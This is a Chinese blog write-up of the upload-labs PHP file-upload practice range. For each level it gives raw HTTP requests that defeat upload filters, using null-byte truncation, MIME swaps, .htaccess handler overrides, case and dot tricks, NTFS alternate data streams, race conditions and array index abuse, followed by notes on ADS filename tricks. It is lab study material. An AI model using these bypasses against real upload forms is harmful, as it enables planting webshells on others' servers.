

# PHP文件上传 getshell 练习, upload\_labs 过关笔记(持续更新)

原创

无聊却曹操 于 2019-05-07 10:20:44 发布 1139 收藏 2

分类专栏: [技术文章](#) 文章标签: [webshell](#) [PHP文件上传](#) [upload\\_labs](#) [web安全](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/caonimadesg/article/details/89915456>

版权



[技术文章](#) 专栏收录该内容

2 篇文章 0 订阅

订阅专栏

今天断断续续做了下 github 上面的一个文件上传实验, 有些关卡是通杀的, 感觉我的思路没顺着作者的本意走

项目源地址: <https://github.com/c0ny1/upload-labs>

贴下过关记录

Pass-01:

00截断

```
POST /uploadlab/Pass-01/index.php?action=show_code HTTP/1.1
Host: 10.246.241.245
Content-Length: 296
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3709.108 Safari/537.36
Origin: http://10.246.241.245
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXGJt9pDzKJubiFqJ
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://10.246.241.245/uploadlab/Pass-01/index.php?action=show_code
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

----WebKitFormBoundaryXGJt9pDzKJubiFqJ
Content-Disposition: form-data; name="upload_file"; filename="info.php.jpg"
Content-Type: image/jpeg

test
----WebKitFormBoundaryXGJt9pDzKJubiFqJ
Content-Disposition: form-data; name="submit"
```

Pass-02:

MIME 类型替换

```
-----WebKitFormBoundaryT8YTsS7DkorqRqw3
Content-Disposition: form-data; name="upload_file"; filename="info.php"
Content-Type: image/jpeg
```

test

```
-----WebKitFormBoundaryT8YTsS7DkorqRqw3
Content-Disposition: form-data; name="submit"
```

消費結

```
-----WebKitFormBoundaryT8YTsS7DkorqRqw3--
```

Pass-03:

其他后綴

```
Connection: close
-----WebKitFormBoundarydfan1fjKEMp78G8R
Content-Disposition: form-data; name="upload_file"; filename="in.php5"
Content-Type: application/octet-stream
test
-----WebKitFormBoundarydfan1fjKEMp78G8R
```

Pass-04:

上传 .htaccess 后上传图片格式 shell

```
-----WebKitFormBoundaryfxxdn3bXr5B3YBMG
Content-Disposition: form-data; name="upload_file"; filename=".htaccess"
Content-Type: application/octet-stream
ForceType application/x-httpd-php
SetHandler application/x-httpd-php
-----WebKitFormBoundaryfxxdn3bXr5B3YBMG
Content-Disposition: form-data; name="submit"
消費結
-----WebKitFormBoundaryfxxdn3bXr5B3YBMG--
```

<https://blog.csdn.net/caonimadesq>

## PHP Version 5.2.17

<b>System</b>	Windows NT DESKTOP-DNFLQVC
<b>Build Date</b>	Jan 6 2011 17:26:08
<b>Configure Command</b>	cscript /nologo configure.js "--en debug-pack" "--with-snapshot-te sdk\snap_5_2\vc6\x86\template" sdk\snap_5_2\vc6\x86\php_build sdk\oracle\instantclient10\sdk,sh sdk\oracle\instantclient10\sdk,sh
<b>Server API</b>	Apache 2.4 Handler - Apache Lou
<b>Virtual Directory Support</b>	enabled
<b>Configuration File (php.ini) Path</b>	C:\WINDOWS
<b>Loaded Configuration File</b>	D:\phpStudy\PHPTutorial\php\pf <a href="https://blog.csdn.net/caonimadesg">https://blog.csdn.net/caonimadesg</a>

Pass-05:

大写绕过黑名单

```
Accept-Encoding: gzip, deflate  
Accept-Language: zh-CN, zh;q=0.9  
Connection: close  
  
-----WebKitFormBoundary6C7BKBiKnFgSFSK3  
Content-Disposition: form-data; name="upload_file"; filename="info.pHP"  
Content-Type: application/octet-stream  
  
{?php phpinfo(); ?>  
-----WebKitFormBoundary6C7BKBiKnFgSFSK3  
Content-Disposition: form-data; name="submit"
```

Pass-06:

空格绕过黑名单

```
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN, zh;q=0.9
Connection: close

-----WebKitFormBoundaryc0yf0Y4GZAmFkQCU
Content-Disposition: form-data; name="upload_file"; filename="info.php"
Content-Type: application/octet-stream

<?php phpinfo(); ?>
-----WebKitFormBoundaryc0yf0Y4GZAmFkQCU
Content-Disposition: form-data; name="submit"
```

## Pass-07:

.后缀绕过黑名单

```
Connection: close

-----WebKitFormBoundaryLFggXFxAXZ1NpGGG
Content-Disposition: form-data; name="upload_file"; filename="info.php."
Content-Type: application/octet-stream

<?php phpinfo(); ?>
-----WebKitFormBoundaryLFggXFxAXZ1NpGGG
Content-Disposition: form-data; name="submit"

消费结束
-----WebKitFormBoundaryLFggXFxAXZ1NpGGG--
```

## Pass-08:

::\$DATA 配合 Windows 下绕过

```
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*
Referer: http://10.246.241.245/uploadlab/Pass-08/index.php?action=show_code
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN, zh;q=0.9
Connection: close

-----WebKitFormBoundaryN9o7EPQBajLneIYO
Content-Disposition: form-data; name="upload_file"; filename="info.php::$DATA"
Content-Type: application/octet-stream

<?php phpinfo(); ?>
-----WebKitFormBoundaryN9o7EPQBajLneIYO
Content-Disposition: form-data; name="submit"

消费结束
-----WebKitFormBoundaryN9o7EPQBajLneIYO--
```

<https://blog.csdn.net/caonirnadeg>

## Pass-09:

Windows NTFS 数据流 trick。

这里是知识盲区，发现网上也有不少人混淆了这里的概念，末尾单独讲吧

```
Accept-Language: zh-CN, zh;q=0.9
Connection: close

-----WebKitFormBoundarySIMrvMnwmbMgSH7j
Content-Disposition: form-data; name="upload_file"; filename="info.php:.jpg"
Content-Type: application/octet-stream

<?php phpinfo(); ?>
-----WebKitFormBoundarySIMrvMnwmbMgSH7j
Content-Disposition: form-data; name="submit"
```

```
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN, zh;q=0.9
Connection: close

-----WebKitFormBoundaryaW3m0kMAfjGz10mr
Content-Disposition: form-data; name="upload_file"; filename="info.<<<"
Content-Type: application/octet-stream

<?php phpinfo(); ?>
-----WebKitFormBoundaryaW3m0kMAfjGz10mr
Content-Disposition: form-data; name="submit"
```

## Pass-10:

双写绕过str\_ireplace过滤

```
Connection: close

-----WebKitFormBoundaryN4uX3ffpA3gA42Kb
Content-Disposition: form-data; name="upload_file"; filename="info.pphphp"
Content-Type: application/octet-stream

<?php phpinfo(); ?>
-----WebKitFormBoundaryN4uX3ffpA3gA42Kb
Content-Disposition: form-data; name="submit"
```

## Pass-11:

get请求控制目录名，%00截断

```

POST /uploadlab/Pass-11/index.php?save_path=../upload/1.php%00 HTTP/1.1
Host: 10.246.241.245
Content-Length: 321
Cache-Control: max-age=0
Origin: http://10.246.241.245
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDBz8aBLo2Y0jKDuY
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like G
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/
Referer: http://10.246.241.245/uploadlab/Pass-11/index.php?save_path=../upload/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

-----WebKitFormBoundaryDBz8aBLo2Y0jKDuY
Content-Disposition: form-data; name="upload_file"; filename="info.jpg"
Content-Type: application/octet-stream

<?php phpinfo();?>
-----WebKitFormBoundaryDBz8aBLo2Y0jKDuY

```

<https://blog.csdn.net/caonimadesg>

## Pass-12:

### POST 参数控制目录名 00 截断

Raw	Params	Headers	Hex
2d	6f	6e	3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e
2e	61	6d	65 3d 22 73 61 76 65 5f 70 61 74 68 22 0d
2f	0a	0d	0a 2e 2e 2f 75 70 6c 6f 61 64 2f 31 2e 70
30	68	70	00 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 57 65 62 4b 69
31	74	46	6f 72 6d 42 6f 75 6e 64 61 72 79 39 58 30
32	52	34	4c 77 64 66 78 50 31 33 73 73 41 0d 0a 43
33	6f	6e	74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69
34	6f	6e	3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e
35	61	6d	65 3d 22 75 70 6c 6f 61 64 5f 66 69 6c 65
36	22	3b	20 66 69 6c 65 6e 61 6d 65 3d 22 69 6e 66
37	6f	2e	6a 70 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d
38	54	79	70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f
39	6e	2f	6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a
3a	0d	0a	3c 3f 70 68 70 20 70 68 70 69 6e 66 6f 28
3b	29	3b	20 3f 3e 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62
3c	4b	60	74 4e 6f 70 64 40 6e 7e 6e 64 64 70 70 20

13-16,18 没有来得及做，还要研究一下。

## Pass-17:

竞争上传，开两个不断请求就可以。

一个负责访问上传的文件，另一个负责执行写 shell



The left screenshot shows a Burp Suite interface with a request list. Request 164 is highlighted, showing a status of 200 and a length of 59252. Below the list, the response view shows a large text area with 'PHP Version 5.2.17' and a table of system information:

System	Windows NT DESKTOP-DNFLQVC 6.2 build 9200
Build Date	Jan 6 2011 17:26:08
Configure Command	cscript /nologo configure.js "--enable-snapshot-build" "--with-snapshot-template-d:\php-sdk\snap_5_2vc6\..."
Server API	Apache 2.4 Handler - Apache Lounge
Virtual	enabled

The right screenshot shows a different request list with request 0 highlighted. The response view shows a POST request to /uploadlab/Pass-17/index.php?action=show\_code with various headers and a body containing form data.

## Pass-19:

这个做完才看到作者在 Readme 里说必须在Linux下才能绕过，为啥我在windows 下也成功了



可能这种做法是抖机灵吧

```
-----WebKitFormBoundaryPAKJc7FdrH3E2kfh
Content-Disposition: form-data; name="upload_file"; filename="info.php"
Content-Type: application/octet-stream
```

```
<?php phpinfo(); ?>
-----WebKitFormBoundaryPAKJc7FdrH3E2kfh
Content-Disposition: form-data; name="save_name"
```

```
1.php
-----WebKitFormBoundaryPAKJc7FdrH3E2kfh
Content-Disposition: form-data; name="submit"
```

消妻結 <https://blog.csdn.net/caonimadesg>

## Pass-20:

审计代码，最终 POST 数组进行 Bypass，利用了数组可更改下标，PHP 果然是世界上最好的语言！

```
text/html, application/xhtml+xml, application/xml;q=0.9, image/webp, image/apng, */*;q=0.8
Referer: http://10.246.241.245/uploadlab/Pass-20/index.php?action=show_code
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

-----WebKitFormBoundaryKR9HBQSQHYcyoAAp
Content-Disposition: form-data; name="upload_file"; filename="info.php"
Content-Type: image/jpeg

<?php phpinfo(); ?>
-----WebKitFormBoundaryKR9HBQSQHYcyoAAp
Content-Disposition: form-data; name="save_name[1]"

test
-----WebKitFormBoundaryKR9HBQSQHYcyoAAp
Content-Disposition: form-data; name="save_name[2]"

php
-----WebKitFormBoundaryKR9HBQSQHYcyoAAp
Content-Disposition: form-data; name="save_name[3]"

jpg
-----WebKitFormBoundaryKR9HBQSQHYcyoAAp
Content-Disposition: form-data; name="submit"

消费站
-----WebKitFormBoundaryKR9HBQSQHYcyoAAp--

string(4) "test"
[2]=>
string(3) "php"
[3]=>
string(3) "jpg"
}
fuckk?: jpgook: 3
<div id="upload_panel">
  <ol>
    <li>
      <h3>任务</h3>
      <p>上传一个<code>webshell</code>到服务器。</p>
    </li>
    <li>
      <h3>上传区</h3>
      <form enctype="multipart/form-data" method="post">
        <p>请选择要上传的图片: <p>
        <input class="input_file" type="file" name="upload_file"
        <p>保存名称: <p>
        <input class="input_text" type="text" name="save_name"
        value="upload-20.jpg" /><br/>
        <input class="button" type="submit" name="submit" value
        </form>
      <div id="msg">
        提示: 文件上传成功!
      </div>
      <div id="img">
        
      </div>
    </li>
    <li id="show_code">
      <h3>代码</h3>
    </li>
  </ol>
</div>
```

还有几个图片马的题目没有写，这里有一份上一个版本的 writeup，明天图片马关卡照着这个学习一下！

老版本的Writeup地址: <https://github.com/LandGrey/upload-labs-writeup>

接下来我们谈一下关卡9的很有意思的一个冷门知识点(反正我以前是没听过)

## 1. 什么是 NTFS ?

NTFS 是微软Windows NT内核的系列操作系统支持的，是为了解决网络和磁盘配额，文件加密等安全特性所设计的磁盘格式，比FAT文件系统更加稳定，也更加安全。

NTFS-ADS，又称为 NTFS 交换数据流，是NTFS磁盘格式的一个特性。

在NTFS文件系统下，每个文件都可以存在多个数据流，也就是说，除了主文件流之外，还可以有很多非主文件流寄宿在主文件流中。虽然我们无法看到数据流文件，但是它是真实存在于我们系统之中的。

## 2. ADS 与 文件上传

本题 payload :

```
shell.php:jpg
```



流类型以\$开头，默认流类型为data，如上payload的完整形式其实是：

```
shell.php:jpg:$data
```

这个格式是创建一个与宿主文件关联的数据流文件。上传后会在目录下生成 shell.php 的空文件。

Why?

文件内容在数据流文件中，我们当初上传的就是一个[文件流]文件，它找不到自己的宿主文件，所以就创建了一个空文件。

我们再看看 MSDN 上的介绍：

All files on an NTFS volume consist of at least one stream - the main stream - this is the normal, viewable file in which data is stored. The full name of a stream is of the form below.

```
<filename>:<stream name>:<stream type>
```

The default data stream has no name. That is, the fully qualified name for the default stream for a file called "sample.txt" is "sample.txt::\$DATA" since "sample.txt" is the name of the file and "\$DATA" is the stream type.

便可以知道其原理。

另外利用 PHP 和 WINDOWS系统特性，以下符号在正则匹配时是相等的：

```
双引号"    =    点号.  
大于符号>  =    问号?  
小于符号<  =    星号*
```

这道题就是这样，我们先传数据流文件关联一个空的宿主文件，这样系统就会生成一个空文件。

然后再次上传 shell.<<<，即可覆盖空文件的内容。

下面是整理的一些文件流姿势：

文件名	服务器反应	生成的文件内容
Test.php:a.jpg	生成Test.php	空
Test.php::\$DATA	生成test.php	<?php phpinfo();?>
Test.php::\$INDEX_ALLOCATION	生成test.php文件夹	
Test.php::\$DATA.jpg	生成0.jpg	<?php phpinfo();?>
Test.php::\$DATA\aaa.jpg	生成aaa.jpg	<?php phpinfo();?>

另外利用 NTFS 的特性，还可以做到很多事情：

- 1.绕过黑名单验证上传
- 2.绕过IIS目录权限认证
- 3.系统隐藏文件（木马，webshell）
- 4.MySql UDF提权利用
- 5.更多值得探索

这里推荐2个参考地址自己去理解吧，看了下文章日期，原来是很老的知识点了：

<http://www.myhack58.com/Article/60/61/2013/38285.htm>

<https://www.waitalone.cn/php-windows-upload.html>

本文首发公众号：不一定Rock，转载请保留二维码或原文链接！



微信扫一扫  
关注该公众号

每天更新内容，  
跟作者一起学习  
探索网络安全